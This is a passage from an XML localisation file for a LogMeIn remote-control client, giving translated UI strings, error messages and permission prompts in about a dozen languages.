<en-gb>Unlock</en-gb>
<hu>Zárolás feloldása</hu>
<pt-br>Desbloquear</pt-br>
<nl>Ontgrendelen</nl>
</msg>
<msg name="NOTIFY.DISMISS">
<en>Dismiss</en>
<de>Ignorieren</de>
<es>Descartar</es>
<fr>Rejeter</fr>
<it>Ignora</it>
<ru>Прекратить</ru>
<ja>無視</ja>
<ko>취소</ko>
<hu>Elutasítás</hu>
<pt-br>Descartar</pt-br>
<zh>消除</zh>
<nl>Negeren</nl>
</msg>
<msg name="NOTIFY.LATENCY">
<en>LogMeIn experiences a connection issue between the client and your remote host computer. Due to reduced Internet speed, your connection to the host may become unreliable.</en>
<de>Bei LogMeIn tritt ein Verbindungsproblem zwischen dem Client und Ihrem Remote-Hostcomputer auf. Aufgrund der verringerten Internetgeschwindigkeit ist Ihre Verbindung zum Host möglicherweise unzuverlässig.</de>
<es>LogMeIn tiene un problema de conexión entre el cliente y el ordenador host remoto. Debido a la baja velocidad de Internet, su conexión con el host podría no ser fiable.</es>
<fr>LogMeIn a un problème de connexion entre le client et votre ordinateur hôte distant. Avec le débit Internet réduit, votre connexion à l’hôte peut ne pas être fiable.</fr>
<it>LogMeIn ha riscontrato un problema di connessione tra il client e il computer host remoto. A causa della ridotta velocità di Internet, la connessione all'host potrebbe diventare inaffidabile.</it>
<ru>При подключении клиента LogMeIn к вашему удалённому хост-компьютеру возникла проблема. Из-за сниженной скорости интернет-соединения подключение к хосту может быть нестабильным.</ru>
<ja>LogMeIn のクライアントとリモート ホスト コンピューターとの間で接続に問題が発生しています。インターネットの速度が低下したため、ホストへの接続が安定していない可能性があります。</ja>
<ko>LogMeIn에서 클라이언트와 원격 호스트 컴퓨터 간에 연결 문제가 발생했습니다. 인터넷 속도 저하로 인해 호스트와의 연결이 불안정해질 수 있습니다.</ko>
<hu>A LogMeIn rendszere kapcsolódási hibát észlelt a kliens és a távoli gazdaszámítógép között. A korlátozott internetsebessége miatt a gazdaszámítógéppel kialakított kapcsolata megszakadhat.</hu>
<pt-br>O LogMeIn detectou um problema entre o cliente e o computador host remoto. Devido à velocidade de Internet reduzida, sua conexão com o host poderá ficar instável.</pt-br>
<zh>LogMeIn 在客户端与远程主机计算机连接时遇到问题。由于网速降低,您可能无法稳定连接主机。</zh>
<nl>LogMeIn heeft een verbindingsprobleem tussen de client en de externe hostcomputer. Door de lage internetsnelheid kan uw verbinding met de host onbetrouwbaar worden.</nl>
</msg>
<msg name="NOTIFY.ADDVMMEMTITLE">
<en>Remote Printing Error</en>
<de>Fehler beim Drucken von Remotedateien</de>
<es>Error de impresión remota</es>
<fr>Erreur d'impression à distance</fr>
<it>Errore di stampa remota</it>
<hu>A Távnyomtatás nem érhető el</hu>
<pt-br>Erro de impressão remota</pt-br>
<nl>Fout bij het afdrukken op afstand</nl>
<zh>远程打印错误</zh>
<ru>Ошибка удаленной печати</ru>
<ja>リモート印刷エラー</ja>
<ko>원격 인쇄 오류</ko>
</msg>
<msg name="NOTIFY.ADDVMMEM">
<en>Out of memory while printing. Increase JAVA Virtual Machine's memory manually or decrease printing resolution.\n E.g. add -Xmx128m or -Xmx300m for 600x600 dpi etc. to Control Panel/Java Control Panel applet/Java tab/\nJava Applet Runtime Settings section/Java Runtime Parameters column of JRE lines then try again.</en>
<de>Dieser Fehler könnte dadurch verursacht worden sein, dass der Arbeitsspeicher der Java Virtual Machine (JVM) nicht ausreicht. Bitte vergrößern Sie den JVM-Speicher, \num dieses Problem zu lösen. Gehen Sie zum Java Control Panel &gt; Registerkarte „Java“ &gt;\n Abschnitt „Java-Applet-Laufzeiteinstellungen“ &gt; „Anzeigen...“ und führen Sie in der Spalte „Java Runtime-Parameter“ in jeder Zeile „-Xmx=128M“ ein.</de>
<es>Es posible que este error haya sido causado por falta de memoria en Java Virtual Machine (JVM). Para solucionar este error, \naumente la memoria JVM. Vaya a Panel de control de Java &gt; ficha Java &gt; \nsección Configuración de tiempo de ejecución de Java &gt; Ver &gt; e inserte -Xmx=128M una columna para cada fila en los parámetros de Java Runtime.</es>
<fr>Cette erreur est peut-être due à un manque de mémoire dans la machine virtuelle Java (MVJ). Pour résoudre cette erreur, \naugmentez la mémoire de la MVJ. Allez dans le panneau de configuration Java &gt; onglet Java &gt; \nsection Paramètres de l'applet Java Runtime &gt; Afficher &gt; et ajoutez -Xmx=128M dans la colonne paramètres d'exécution de chaque ligne.</fr>
<it>Questo errore potrebbe essersi verificato a causa di memoria insufficiente nella Java Virtual Machine (JVM).\nPer risolvere il problema, aumentare la memoria JVM. Andare al Pannello di controllo Java &gt; scheda Java &gt;\nsezione Impostazioni Runtime Applet Java &gt; Visualizza &gt; e immettere -Xmx=128M nella colonna Parametri Runtime Java per ciascuna riga.</it>
<hu>Előfordulhat, hogy a hiba oka a Java virtuális gép (JVM) memóriahiánya. A probléma megoldásához \nnövelje a JVM-memóriát. Ehhez kattintson a Java Vezérlőpult &gt; Java fülén &gt; \na Java Applet futásidejű beállítások &gt; rész alatt található &gt;Megtekintés gombra, majd a Java futásidejű paraméterek oszlop minden sorába írja be a -Xmx=128M értéket.</hu>
<pt-br>Este erro pode ter sido causado por falta de memória no Java Virtual Machine (JVM). Para resolver esse problema, \naumente a memória JVM. Vá até o Painel de controle do Java &gt; guia Java &gt; \nseção Configurações de runtime do miniaplicativo Java &gt; Exibir&gt; e insira -Xmx=128M na coluna Parâmetros de runtime do Java para cada linha.</pt-br>
<nl>Deze fout kan het gevolg zijn van een tekort aan geheugen in de Java Virtual Machine (JVM). Vergroot het JVM-geheugen \nom het probleem te verhelpen. Ga naar het Java-configuratiescherm &gt; Java-tabblad &gt; de runtime-instellingen \nvan de Java-applet, &gt; Weergeven &gt; en voeg voor elke rij -Xmx=128M toe in de kolom met Java runtime-parameters.</nl>
<zh>此错误可能是因为 Java 虚拟机 (JVM) 中内存不足导致的。 要解决此问题,\n请增加 JVM 内存。 转到 Java Control Panel(Java 控制面板) &gt; Java 选项卡 &gt; \nJava Applet Runtime Settings(Java 小程序运行时设置)部分 &gt; View(查看) &gt; 并在每行的 Java Runtime Parameters(Java 运行时参数)列中插入 -Xmx=128M。</zh>
<ru>Эта ошибка может быть вызвана нехваткой памяти для виртуальной машины Java (JVM). Для устранения этой ошибки, \nувеличьте память, доступную JVM. Перейдите к окну «Java Control Panel» (Панель управления Java) &gt; выберите вкладку «Java» &gt; \n выберите раздел «Java Applet Runtime Settings section» (Настройки исполнения апплетов Java) &gt; нажмите кнопку «Просмотр» &gt; и введите параметр -Xmx=128M в столбец «Java Runtime Parameters» (Параметры исполнения Java) в каждой строке.</ru>
<ja>このエラーの原因として、Java 仮想マシン (JVM) のメモリ不足が考えられます。 解決するには、\nJVM のメモリを増やします。  [Java コントロール パネル] &gt; [Java]タブ &gt;\n[Java アプレットのランタイム設定] &gt; [表示] &gt; を順に選択し、各行の[Java ランタイム パラメータ]列に -Xmx=128M を挿入します。</ja>
<ko>이 오류는 Java Virtual Machine(JVM)의 메모리 부족으로 인해 발생합니다. 이 오류를 해결하려면, \nJVM 메모리를 업그레이드 하십시오. 각 행의 Java 런타임 매개 변수 열에서 Java 제어판 &gt; Java 탭 &gt; \nJava 애플릿 런타임 설정 섹션 &gt; 보기 &gt;로 이동하여 -Xmx=128M을(를) 입력하십시오.</ko>
</msg>
<msg name="ONTHEFLY.CLIPBOARD">
<en>Synchronize clipboards</en>
<de>Zwischenablagen synchronisieren</de>
<es>Sincronizar el portapapeles</es>
<fr>Synchroniser les presse-papiers</fr>
<it>Sincronizza Appunti</it>
<ru>Синхронизировать буферы обмена</ru>
<ja>クリップボードの同期化</ja>
<ko>클립보드 동기화</ko>
<hu>Vágólapok szinkronizálása</hu>
<pt-br>Sincronizar áreas de transferência</pt-br>
<zh>同步剪贴板</zh>
<nl>Klemborden synchroniseren</nl>
</msg>
<msg name="ONTHEFLY.SCREENBLANK">
<en>Blank screen</en>
<de>Leeren Bildschirm anzeigen</de>
<es>Pantalla sin contenido</es>
<fr>Ecran masqué</fr>
<it>Cancella contenuto dello schermo</it>
<ru>Очистить экран</ru>
<ja>空白画面</ja>
<zh>黑屏</zh>
<ko>빈 화면</ko>
<en-gb>Blank screen</en-gb>
<hu>Üres képernyő</hu>
<pt-br>Tela em branco</pt-br>
<nl>Scherm uitschakelen</nl>
</msg>
<msg name="ONTHEFLY.INPUTBLOCK">
<en>Block input</en>
<de>Eingang sperren</de>
<es>Bloquear entrada</es>
<fr>Bloquer l'entrée</fr>
<it>Blocca input</it>
<ru>Блокировать вход</ru>
<ja>入力をブロック</ja>
<ko>입력 차단</ko>
<hu>Bemenet letiltása</hu>
<pt-br>Bloquear entrada</pt-br>
<zh>阻止输入</zh>
<nl>Invoer blokkeren</nl>
</msg>
<msg name="ONTHEFLY.PRINTING">
<en>Connect printer</en>
<de>Drucker verbinden</de>
<es>Conectar impresora</es>
<fr>Connecter l'imprimante</fr>
<it>Collega stampante</it>
<ru>Подключение к принтеру</ru>
<ja>プリンタの接続</ja>
<ko>프린터 연결</ko>
<hu>Nyomtató csatlakoztatása</hu>
<pt-br>Conectar impressora</pt-br>
<zh>连接打印机</zh>
<nl>Verbinding maken met printer</nl>
</msg>
<msg name="ONTHEFLY.FOCUSDETECT">
<en>TODO FIXME Enable Focus Detector</en>
</msg>
<msg name="INVALIDVERSION">
<en>MSG\n\n\n
MSG\n
It appears that your browser's cache contains an older version\n
of this applet which is incompatible with this version of\n
%s. Please close this window, empty the browser's\n
cache (you can do this in Internet Explorer by selecting\n
Internet Options from the Tools menu and clicking the Delete\n
Files button on the General tab) and try Remote Control again.\n
\n
MSG\n\n\n
FAIL\n
Version expected: %s\n\n
</en>
<de>MSG\n\n\n
MSG\n
Es scheint, dass der Zwischenspeicher (Cache) Ihres Browsers eine ältere Version dieses Applets \n
bewahrt, das mit dieser Version von %s nicht verträglich ist.\n
Bitte schließen Sie das Fenster und löschen Sie den Zwischenspeicher des Browsers\n
(dazu wählen Sie im Werkzeug Menü des Internet Explorers \n
die Internet Optionen und klicken die Schaltfläche Löschen Datei in der Konfigurationsfläche "Allgemein")\n
\n
MSG\n\n\n
FAIL\n
Version erwartet: %s\n\n</de>
<es>MSG\n\n\n
MSG\n
Parece que la caché de su navegador contiene una versión anterior\n
de este programa que es incompatible con esta versión de\n
%s. Cierre la ventana, vacíe la caché del navegador\n
(puede hacerlo en Internet Explorer seleccionando\n
Opciones de Internet en el menú Herramientas y haga clic en Eliminar\n
archivos de la pestaña General) e intente otra vez el Control Remoto.\n
\n
MSG\n\n\n
FAIL\n
Versión esperada: %s\n\n</es>
<fr>MSG\n\n\n
MSG\n
Il semble que la mémoire cache de votre navigateur contienne une ancienne version\n
de cet applet,  laquelle n'est pas compatible avec cette version\n
%s. Veuillez fermer cette fenêtre, et vider la mémoire cache de votre navigateur\n
( Vous pouvez faire cette opération dans Internet Explorer en sélectionnant\n
les Options Internet depuis le menu Outils et en cliquant sur le bouton\n
Supprimer les fichiers dans l'onglet principal) et tenter à nouveau de prendre le contrôle à distance.\n
\n
MSG\n\n\n
FAIL\n
Version demandée%s\n\n</fr>
<it>MSG\n\n\n
MSG\n
La cache del browser contiene una versione precedente di questa\n applet che è incompatibile con questa versione di\n %s. Chiudere la finestra, svuotare la cache del browser\n (in Internet Explorer selezionare\n Opzioni Internet dal menu Strumenti e fare clic sul pulsante Elimina\n file della scheda Generale) e riprovare a eseguire Controllo remoto.\n
\n
MSG\n\n\n
FAIL\n
Versione prevista: %s\n\n</it>
<ru>MSG\n\n\n
MSG\n
Кэш обозревателя содержит старую версию данного апплета,\n которая несовместима с данной версией\n %s Закройте данное окно, очистите кэш обозревателя\n (в Internet Explorer для этого сделать выберите "Свойства обозревателя"\n из меню "Сервис" и нажмите кнопку "Удалить файлы" на вкладке "Общие")\n и снова попытайтесь открыть сеанс удаленного управления.\n
\n
MSG\n\n\n
FAIL\n
Ожидаемая версия: %s\n\n</ru>
<ja>MSG\n\n\n MSG\n これは、ブラウザのキャッシュに、\n %sの当バージョンと互換性のないこのアプレットの旧バージョン\nがあるる場合に表示されます。このウィンドウを閉じ、ブラウザのキャッシュを空にしてから \n(これは、Internet Explorer で [ツール] メニューから [インターネッ トオプション] を選択し、\n[全般] タブで [ファイルの削除] ボタンをクリックして実行できます)、\nリモート制御を再試行してください。\n \n MSG\n\n\n FAIL\n 予期されたバージョンです : %s\n\n</ja>
<zh>MSG\n\n\n
MSG\n
您的浏览器高速缓存可能使用了此小程序的旧版本,\n它与该版本的\n %s 不兼容。请关闭此窗口,清空浏览器\n高速缓存(您可以在 Internet Explorer 中完成此操作,方法是从“工具”菜单中选择\n Internet 选项并单击“常规”选项卡上的“删除文件”\n按钮),并再次尝试远程控制。\n
\n
MSG\n\n\n
FAIL\n
需要的版本:%s\n\n</zh>
<ko>MSG\n\n\n
MSG\n
브라우저의 캐시는 이\n %s버전과 호환되지 않는 애플릿의\n구 버전을 포함하는 것처럼 보입니다. 이 창을 닫은 다음 브라우저의 캐시를 \n비우고("도구" 메뉴에서 "인터넷 옵션"을 선택하거나 "일반" 탭에서\n"파일 삭제" 버튼을 클릭하여 Internet Explorer에서 실행) 원격 \n제어를 다시 시도하십시오.\n
\n
MSG\n\n\n
FAIL\n
예상 버전: %s\n\n</ko>
<en-gb>MSG\n\n\n
MSG\n
It appears that your browser's cache contains an older version\n of this applet which is incompatible with this version of\n
%s. Please close this window, empty the browser's\n cache (you can do this in Internet Explorer by selecting\n Internet Options from the Tools menu and clicking the Delete\n Files button on the General tab) and try Remote Control again.\n
\n
MSG\n\n\n
FAIL\n
Version expected: %s\n\n</en-gb>
<hu>MSG\n\n\n
MSG\n
Úgy tűnik, hogy az Ön böngészőjének gyorsítótára ennek a segédalkalmazásnak\n
egy régebbi verzióját tartalmazza, amely nem kompatibilis a(z) %s jelen\n
verziójával. Kérem, zárja be ezt az ablakot, és ürítse a böngésző\n
gyorsítótárát (ezt az Internet Explorerből megteheti, ha az\n
Internetbeállításokat választja az Eszközök menüből, majd a Fájlok törlése\n
gombra kattint az Általános fülön), majd próbálja újból a Távvezérlést.\n
\n
MSG\n\n\n
FAIL\n
Várt verzió: %s\n\n</hu>
<pt-br>MSG\n\n\n
MSG\n
Parece que o cache do seu navegador tem uma versão mais antiga\n
deste miniaplicativo que é incompatível com esta versão do\n
%s. Feche esta janela, esvazie o cache do navegador\n
(você pode fazer isso no Internet Explorer, selecionando\n
Opções de Internet no menu Ferramentas e clicando no botão\n
Excluir Arquivo da guia Geral) e tente controlar remotamente de novo.\n
\n
MSG\n\n\n
FAIL\n
Versão esperada: %s\n\n</pt-br>
<nl>MSG\n\n\n MSG\n Uit een analyse blijkt dat in het cache van uw browser nog een oudere versie\n van deze applet aanwezig is die niet compatibel is met deze versie van\n %s. Sluit dit venster, maak het cachegeheugen van uw browser\n leeg (u kunt dit doen door in Internet Explorer in het menu Extra de optie\n Internetopties te kiezen en op het tabblad Algemeen\n onder Browsegeschiedenis op de knop Verwijderen te klikken) en probeer opnieuw Besturing op afstand te gebruiken.\n \n MSG\n\n\n FAIL\n Verwachte versie: %s\n\n</nl>
</msg>
<msg name="PROCESSFAILED">
<en>FAIL\n
Failed to start Remote Control process: %u.\n\n
</en>
<de>
FAIL\n
Konnte den Fernsteuerungsprozess nicht starten: %u.\n\n</de>
<es>FAIL\n
Error al iniciar el proceso de Control Remoto: %u.\n\n</es>
<fr>FAIL\n
Echec au démarrage du procesus de contrôle à diantce: %u.\n\n</fr>
<it>FAIL\n
Avvio del processo di Controllo remoto non riuscito: %u.\n\n</it>
<ru>FAIL\n
Не удалось запустить процесс удаленного управления: %u.\n\n</ru>
<ja>FAIL\n リモート制御プロセスの起動に失敗しました :%u.\n\n</ja>
<zh>FAIL\n
启动远程控制进程失败:%u。\n\n</zh>
<ko>FAIL\n
원격 제어 프로세스를 시작하지 못했습니다: %u.\n\n</ko>
<en-gb>FAIL\n
Failed to start Remote Control process: %u.\n\n</en-gb>
<hu>FAIL\n
Nem sikerült elindítani a Távvezérlés folyamatot: %u.\n\n</hu>
<pt-br>FAIL\n
Falha ao iniciar o processo de controle remoto: %u.\n\n</pt-br>
<nl>FAIL\n De procedure voor Besturing op afstand kon niet worden gestart: %u.\n\n</nl>
</msg>
<msg name="NORIGHTS">
<en>FAIL\n
You do not have the rights to remote control this computer.\n\n
</en>
<de>FAIL\n
Sie sind nicht berechtigt,, diesen Computer fernzubedienen.\n\n</de>
<es>FAIL\n
No tiene derechos para controlar remotamente este ordenador.\n\n</es>
<fr>FAIL\n
Vous n'avez pas les droits pour prendre le contrôle à distance de cet ordinateur.\n\n</fr>
<it>FAIL\n
Non si dispone dei diritti per il controllo remoto del computer.\n\n</it>
<ru>FAIL\n
У вас нет прав на удаленное управление данным компьютером.\n\n</ru>
<ja>FAIL\n このコンピュータをリモート制御する権限がありません。\n\n</ja>
<zh>FAIL\n
您没有远程控制此计算机的权限。\n\n</zh>
<ko>FAIL\n
이 컴퓨터를 원격 제어할 수 있는 권한이 없습니다.\n\n</ko>
<en-gb>FAIL\n
You do not have the rights to remote control this computer.\n\n</en-gb>
<hu>FAIL\n
Önnek nincs jogosultsága ennek a számítógépnek a távvezérlésére.\n\n</hu>
<pt-br>FAIL\n
Você não tem direitos de controlar este computador remotamente.\n\n</pt-br>
<nl>FAIL\n U beschikt niet over de vereiste toegangsrechten om deze computer op afstand te besturen.\n\n</nl>
</msg>
<msg name="ANOTHERCONNECTED">
<en>FAIL\n
Another remote control client is connected from %s.\n\n
</en>
<de>FAIL\n
Eine andere Fernsteuerung ist aktiv und hat Verbindung mit %s.\n\n</de>
<es>FAIL\n
Otro cliente de control remoto está conectado desde %s.\n\n</es>
<fr>FAIL\n
Un autre client de contrôle à distance est déjà connecté avec %s.\n\n</fr>
<it>FAIL\n
Un altro client di controllo remoto è connesso da %s.\n\n</it>
<ru>FAIL\n
Подключился другой клиент удаленного управления от %s.\n\n</ru>
<ja>FAIL\n %s から、他のリモート制御クライアントが接続されています。\n\n</ja>
<zh>FAIL\n
已从 %s 连接了另一个远程控制客户端。\n\n</zh>
<ko>FAIL\n
다른 원격 제어 클라이언트가 %s에서 연결되었습니다.\n\n</ko>
<en-gb>FAIL\n
Another remote control client is connected from %s.\n\n</en-gb>
<hu>FAIL\n
Egy másik távvezérlő kliens csatlakozik, innen: %s.\n\n</hu>
<pt-br>FAIL\n
Outro cliente do controle remoto está conectado de %s.\n\n</pt-br>
<nl>FAIL\n Er is reeds een client voor besturing op afstand met dit systeem verbonden vanaf %s.\n\n</nl>
</msg>
<msg name="CLIENTNAME">
<en>Remote Control Client</en>
<de>Fernsteuerungs-Client</de>
<es>Cliente de Control Remoto</es>
<fr>Client de contrôle à distance</fr>
<it>Client di Controllo remoto</it>
<ru>Клиент удаленного управления</ru>
<ja>リモート制御クライアント</ja>
<zh>远程控制客户端</zh>
<ko>원격 제어 클라이언트</ko>
<en-gb>Remote Control Client</en-gb>
<hu>Távvezérlő kliens</hu>
<pt-br>Controlar cliente remotamente</pt-br>
<nl>Client voor besturing op afstand</nl>
</msg>
<msg name="HOSTREPORTS">
<en>Host reports version</en>
<de>Host meldet Version</de>
<es>Host envía versión</es>
<fr>Rapports de version</fr>
<it>Versione report host</it>
<ru>Хост-компьютер сообщает о версии</ru>
<ja>ホスト レポートのバージョン</ja>
<zh>主机报告版本</zh>
<ko>호스트 보고서 버전</ko>
<en-gb>Host reports version</en-gb>
<hu>A gazdagép ezt a verziót jelenti</hu>
<pt-br>Versão de relatórios do host</pt-br>
<nl>Volgens de analyse staat op de hostcomputer versie</nl>
</msg>
<msg name="CLIENTBUILD">
<en>Client version</en>
<de>Client-Version</de>
<es>Versión cliente</es>
<fr>Version client</fr>
<it>Versione client</it>
<ru>Клиентская версия</ru>
<ja>クライアント バージョン</ja>
<ko>클라이언트 버전</ko>
<zh>客户端版本</zh>
<hu>Kliens verziója</hu>
<pt-br>Versão do cliente</pt-br>
<nl>Versie van client</nl>
</msg>
<msg name="SENTREADY">
<en>Sent ready state.</en>
<de>Status bereit gesendet</de>
<es>Estado enviado: listo.</es>
<fr>Statut prêt envoyé.</fr>
<it>Stato pronto inviato.</it>
<ru>Отправлена информация о состоянии готовности.</ru>
<ja>準備完了状態を送信しました。</ja>
<zh>发送就绪状态。</zh>
<ko>발송 준비 상태.</ko>
<en-gb>Sent ready state.</en-gb>
<hu>Kész állapot jelzés elküldve.</hu>
<pt-br>Estado pronto enviado.</pt-br>
<nl>Status Gereed is verzonden.</nl>
</msg>
<msg name="PRINTINIT">
<en>Initializing printing...</en>
<de>Drucken wird initialisiert...</de>
<es>Iniciando impresión...</es>
<fr>L'impression et en cours d'initialisation...</fr>
<it>Inizializzazione della stampa...</it>
<ru>Инициализация печати...</ru>
<ja>印刷を初期化しています...</ja>
<zh>正在初始化打印...</zh>
<ko>인쇄 초기화 중...</ko>
<en-gb>Initialising printing...</en-gb>
<hu>Nyomtatás inicializálása...</hu>
<pt-br>Inicializando impressão...</pt-br>
<nl>Bezig met initialiseren voor afdrukken...</nl>
</msg>
<msg name="ERROROCCURED">
<en>An error has occurred:</en>
<de>Ein Fehler ist aufgetreten:</de>
<es>Ha ocurrido un error:</es>
<fr>Une erreur s'et produite:</fr>
<it>Si è verificato un errore:</it>
<ru>Возникла ошибка:</ru>
<ja>次のエラーが発生しました :</ja>
<zh>出现错误:</zh>
<ko>오류가 발생했습니다:</ko>
<en-gb>An error has occurred:</en-gb>
<hu>Hiba történt:</hu>
<pt-br>Ocorreu um erro:</pt-br>
<nl>Er is een fout opgetreden:</nl>
</msg>
<msg name="CANCELLED">
<en>Cancelled.</en>
<de>Abgebrochen</de>
<es>Cancelado.</es>
<fr>Annulé</fr>
<it>Operazione annullata.</it>
<ru>Отменен.</ru>
<ja>取り消されました。</ja>
<zh>已取消。</zh>
<ko>취소됨.</ko>
<en-gb>Cancelled.</en-gb>
<hu>Megszakítva.</hu>
<pt-br>Cancelado.</pt-br>
<nl>Geannuleerd.</nl>
</msg>
<msg name="IDLETIMEOUT">
<en>Idle timeout reached, connection closed by the host.</en>
<de>Leerlauf-Timeout erreicht, die Verbindung wurde durch den Host abgebrochen.</de>
<es>Tiempo límite en reposo excedido, conexión cerrada por el host.</es>
<fr>Temps d'inactivité atteint, connexion interrompue par le serveur.</fr>
<it>Timeout di inattività, connessione chiusa dall'host.</it>
<ru>Истек таймаут простоя, подключение закрыто хост-компьютером.</ru>
<ja>アイドル タイムアウトに到達しました。接続はホストにより切断されます。</ja>
<zh>达到空闲超时,主机已关闭连接。</zh>
<ko>유휴 시간 초과 도달, 호스트가 연결을 종료했습니다.</ko>
<en-gb>Idle timeout reached, connection closed by the host.</en-gb>
<hu>Elérte az üresjárati időtúllépést, a gazdagép lezárta a kapcsolatot.</hu>
<pt-br>Tempo limite de inatividade atingido, a conexão será fechada pelo host.</pt-br>
<nl>Time-out voor inactiviteit is bereikt, de verbinding werd door de hostcomputer verbroken.</nl>
</msg>
<msg name="NOPERMISSIONNEEDED">
<en>MSG\n
Workstation locked or screen saver active.\n\n</en>
<de>MSG\n
Computer gesperrt oder Bildschirmschoner aktiv.\n\n</de>
<es>MSG\n
Lugar de trabajo bloqueado o protector de pantalla activado.\n\n</es>
<fr>MSG\n
L'ordinateur est bloqué ou est en mode écran de veille.\n\n</fr>
<it>MSG\n
Workstation bloccata o screen saver attivo.\n\n</it>
<ru>MSG\n
Рабочая станция блокирована или включена заставка.\n\n</ru>
<ja>MSG\n ワークステーションがロックされたか、クリーンセーバーがアクティブになっています。\n\n</ja>
<zh>MSG\n
工作站锁定或屏幕保护程序处于活动状态。\n\n</zh>
<ko>MSG\n
워크스테이션이 잠기거나 화면 보호기를 사용 중입니다.\n\n</ko>
<en-gb>MSG\n
Workstation locked or screen saver active.\n\n</en-gb>
<hu>MSG\n
A munkaállomás zárolva, vagy a képernyővédő aktív.\n\n</hu>
<pt-br>MSG\n
Estação de trabalho bloqueada ou servidor de tela ativo.\n\n</pt-br>
<nl>MSG\n Workstation is vergrendeld of de schermbeveiliging is geactiveerd.\n\n</nl>
</msg>
<msg name="WAITINGFORPERMISSION">
<en>MSG\n
Waiting for authorization from the interactive user...\n\n</en>
<de>MSG\n
Warte auf die Freigabe durch den Benutzer der Gegenstelle...\n\n</de>
<es>MSG\n
Esperando autorización del usuario interactivo...\n\n</es>
<fr>MSG\n
En attente de l'autorisation de l'utilisateur interactif...\n\n</fr>
<it>MSG\n
In attesa dell'autorizzazione da parte dell'utente interattivo...\n\n</it>
<ru>MSG\n
Ожидается авторизация интерактивного пользователя...\n\n</ru>
<ja>MSG\n インタラクティブ ユーザからの認証を待機しています...\n\n</ja>
<zh>MSG\n
正在等待交互式用户的授权...\n\n</zh>
<ko>MSG\n
대화형 사용자 인증을 기다리는 중...\n\n</ko>
<en-gb>MSG\n
Waiting for authorisation from the interactive user...\n\n</en-gb>
<hu>MSG\n
Várakozás az interaktív felhasználó engedélyére... \n\n</hu>
<pt-br>MSG\n
Aguardando autorização do usuário interativo...\n\n</pt-br>
<nl>MSG\n Bezig met wachten op autorisatie van de interactieve gebruiker...\n\n</nl>
</msg>
<msg name="CONNECTMSG_PERMISSION">
<en>CONNECTMSG\n
Waiting for authorization...\n\n</en>
<de>CONNECTMSG\n
Warte auf die Freigabe...\n\n</de>
<es>CONNECTMSG\n
Esperando autorización...\n\n</es>
<fr>CONNECTMSG\n
En attente de l'autorisation...\n\n</fr>
<it>CONNECTMSG\n
In attesa di autorizzazione...\n\n</it>
<ru>CONNECTMSG\n
Ожидается авторизация...\n\n</ru>
<ja>CONNECTMSG\n 認証を待機しています...\n\n</ja>
<zh>CONNECTMSG\n
正在等待授权...\n\n</zh>
<ko>CONNECTMSG\n
인증을 기다리는 중...\n\n</ko>
<en-gb>CONNECTMSG\n
Waiting for authorisation...\n\n</en-gb>
<hu>CONNECTMSG\n
Várakozás az engedélyezésre...\n\n</hu>
<pt-br>CONNECTMSG\n
Aguardando autorização...\n\n</pt-br>
<nl>CONNECTMSG\n Bezig met wachten op autorisatie...\n\n</nl>
</msg>
<msg name="CONNECTMSG_ACCESSGRANTED">
<en>CONNECTMSG\n
Please wait...\n\n</en>
<de>CONNECTMSG\n
Bitte warten...\n\n</de>
<es>CONNECTMSG\n
Espere...\n\n</es>
<fr>CONNECTMSG\n
Veuillez patienter...\n\n</fr>
<it>CONNECTMSG\n
Attendere...\n\n</it>
<ru>CONNECTMSG\n
Подождите...\n\n</ru>
<ja>CONNECTMSG\n お待ちください...\n\n</ja>
<zh>CONNECTMSG\n
请稍候...\n\n</zh>
<ko>CONNECTMSG\n
잠시 기다려 주십시오...\n\n</ko>
<en-gb>CONNECTMSG\n
Please wait...\n\n</en-gb>
<hu>CONNECTMSG\n
Kérem, várjon...\n\n</hu>
<pt-br>CONNECTMSG\n
Aguarde...\n\n</pt-br>
<nl>CONNECTMSG\n Een ogenblik geduld...\n\n</nl>
</msg>
<msg name="CONNECTMSG_ACCESSDENIED">
<en>CONNECTMSG\n
Access denied.\n\n</en>
<es>CONNECTMSG\n
Acceso denegado.\n\n</es>
<de>CONNECTMSG\n
Zugriff verweigert.\n\n</de>
<fr>CONNECTMSG\n
Accès refusé.\n\n</fr>
<it>CONNECTMSG\n
Accesso negato.\n\n</it>
<ru>CONNECTMSG\n
В доступ отказано.\n\n</ru>
<ja>CONNECTMSG\n アクセスが拒否されました。\n\n</ja>
<zh>CONNECTMSG\n
已拒绝访问。\n\n</zh>
<ko>CONNECTMSG\n
액세스가 거부되었습니다.\n\n</ko>
<en-gb>CONNECTMSG\n
Access denied.\n\n</en-gb>
<hu>CONNECTMSG\n
Hozzáférés megtagadva.\n\n</hu>
<pt-br>CONNECTMSG\n
Acesso negado.\n\n</pt-br>
<nl>CONNECTMSG\n Toegang geweigerd.\n\n</nl>
</msg>
<msg name="PERMISSIONGRANTED">
<en>MSG\n
The interactive user authorized the remote control process.\n\n</en>
<de>
MSG\n
Der Benutzer der Gegenstelle hat die Freigabe für die Fernsteuerung erteilt.\n\n</de>
<es>MSG\n
El usuario interactivo ha autorizado el proceso de control remoto.\n\n</es>
<fr>MSG\n
L'utilisateur interactif a autorisé le contrôle d'accès à distance.\n\n</fr>
<it>MSG\n
L'utente interattivo ha autorizzato il processo di controllo remoto.\n\n</it>
<ru>MSG\n
Интерактивный пользователь разрешил данный процесс удаленного управления.\n\n</ru>
<ja>MSG\n インタラクティブ ユーザは、リモート制御プロセスを認証しました。\n\n</ja>
<zh>MSG\n
交互式用户已授权此远程控制进程。\n\n</zh>
<ko>MSG\n
대화형 사용자가 원격 제어 프로세스를 인증했습니다.\n\n</ko>
<en-gb>MSG\n
The interactive user authorised the remote control process.\n\n</en-gb>
<hu>MSG\n
Az interaktív felhasználó engedélyezte a távvezérlési folyamatot.\n\n</hu>
<pt-br>MSG\n
O usuário interativo autorizou o processo de controle remoto.\n\n</pt-br>
<nl>MSG\n De interactieve gebruiker heeft toestemming gegeven voor het proces voor de besturing op afstand.\n\n</nl>
</msg>
<msg name="PERMISSIONDENIED">
<en>MSG\n
The interactive user did not authorize the remote control process.\n\n</en>
<de>
MSG\n
Der Benutzer der Gegenstelle hat die Freigabe für die Fernsteuerung verweigert.\n\n</de>
<es>MSG\n
El usuario interactivo no ha autorizado el proceso de control remoto.\n\n</es>
<fr>MSG\n
L'utilisateur interactif n'a pas autorisé le contrôle d'accès à distance.\n\n</fr>
<it>MSG\n
L'utente interattivo non ha autorizzato il processo di controllo remoto.\n\n</it>
<ru>MSG\n
Интерактивный пользователь разрешил данный процесс удаленного управления.</ru>
<ja>MSG\n インタラクティブ ユーザは、リモート制御プロセスを認証しませんでした。\n\n</ja>
<zh>MSG\n
交互式用户未授权此远程控制进程。\n\n</zh>
